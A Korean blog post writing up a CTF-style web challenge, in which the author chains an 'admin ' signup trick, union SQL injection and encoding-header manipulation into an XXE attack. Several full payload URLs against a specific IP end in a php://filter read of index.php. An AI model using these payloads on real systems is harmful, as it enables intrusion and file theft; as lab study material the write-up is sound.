처음으로 뭔가 ctf 에서 나올법한 웹문제를 푼거 같습니당...! 그래서 올려봄.
이렇게 생겼길래 짜피 내서버다 싶어서 모든 필드에다가 sqlmap 돌려봤는데 안먹혔따.... 그래서 가입할때 wargame.kr 문제였나 그거처럼
admin d
같은식으로 id 를 주고 해보니까 먹혀서 admin 을 땄다.
어드민을 땄는데 뭘해야할지 모르겠다. 그래서 무작정 보이는데마다 다 손퍼징을 때려봤다. 그랬는데 멤버 검색하는데에서
http://108.61.161.168:8080/members/beautify.php?url=http://108.61.161.168:8080/members/search.php?search=a%27%20union%20select%201,2,3,4,5,6--%20-%26encoding=UTF-8
union sqli 가 먹혀들어갔다. 근데 할게 없었다...... 윽
근데 url 을 보니까 php 에 url을 전달하는 꼴이였다. 그래서 그 url에 들어가보니까
xml 형식으로 전달을 하는게 보였다. 심지어 union sqli 도 먹혀들어가서 xml 를 바꿀 수 있었다.
그래서 생각한게 xxe 였다. xxe 면 파일도 읽을 수 있으니까.
근데 생각해보니까 union 으로 터지는 xxe 만으로는 파일을 못읽는다.....
고래서 다른거 건들다 답없어서 다시 돌아와서 encoding 을 좀 건들여 봤는데
http://108.61.161.168:8080/members/search.php?search=admin&encoding=UTF-8%22%3E
이렇게 들어가니까 에러가 떠버리는거시였따!
그래서 좀더 만지작 거리다 보니까 encoding 따라서 xml 의 헤더값이 변하는 것이였다..
그래서 encoding 으로 헤더 바꾸고 union 으로 xml body 바꾸고 해서 xxe 를 통해서 flag 를 읽자 라고 맘먹고 익스 쭉 짜서 넣어보니까.
http://108.61.161.168:8080/members/beautify.php?url=http://108.61.161.168:8080/members/search.php?search='union select 1,"--><user><id>%26asdf;",3,4,5,6-- -&encoding=UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY asdf SYSTEM "file:///index.php" >]><!--
(가독성을 위해 url encoding 풀어서 넣었습니다. 실제 쓰실때는 url= 뒷부분은 url encoding 해서 넣어주세여)
띠용? 아무것도 안읽혀오는것이다... 뭐지 했는데 당연했다.
왜냐면 우리는 웹 디렉토리를 알지 못하니까. 그럼 어떻게 익스해야할까? 우리는 index.php 를 읽어야 하는데.
전에 cmd3 풀다가 찾아본것 중에 /proc/self/cwd 가 있다. 이게 뭐냐면 현재 디렉터리랑 같다고 보면 되는데, 이걸 이용해서 index.php 를 읽으면 되는것이였다.
http://108.61.161.168:8080/members/beautify.php?url=http://108.61.161.168:8080/members/search.php?search='union select 1,"--><user><id>%26asdf;",3,4,5,6-- -&encoding=UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY asdf SYSTEM "file:///proc/self/cwd/index.php" >]><!--
? 또안읽히네? 뭐가 문제지 싶어서 file 을 php 필터로 바꿔서base64 해서 lfi 할때처럼 해보니까 되따...? 왜지
http://108.61.161.168:8080/members/beautify.php?url=http://108.61.161.168:8080/members/search.php?search='union select 1,"--><user><id>%26asdf;",3,4,5,6-- -&encoding=UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY asdf SYSTEM "php://filter/convert.base64-encode/resource=/proc/self/cwd/index.php" >]><!--
엌ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ근데 플래그가 없음ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 인줄 알았는데 url 보니까 저기는 members 안이다.
그래서 ../ 해줘야덴다 ㅎㅎ....
최종 페이로드
http://108.61.161.168:8080/members/beautify.php?url=http://108.61.161.168:8080/members/search.php?search='union select 1,"--><user><id>%26asdf;",3,4,5,6-- -&encoding=UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY asdf SYSTEM "php://filter/convert.base64-encode/resource=/proc/self/cwd/../index.php" >]><!--
웹도 뭔가 CTF 느낌나는 문제를 처음 풀어봤는데 재밌따.
'Web' 카테고리의 다른 글
Webhacking.kr 올클 (1) | 2018.07.07 |
---|---|
[Insomni' hack] Vulnshop (0) | 2018.01.22 |
[Root-me] sqli - numberic (0) | 2017.09.24 |
[Root-me] sqli - string (0) | 2017.09.24 |
[Root-me] sqli - auth (0) | 2017.09.24 |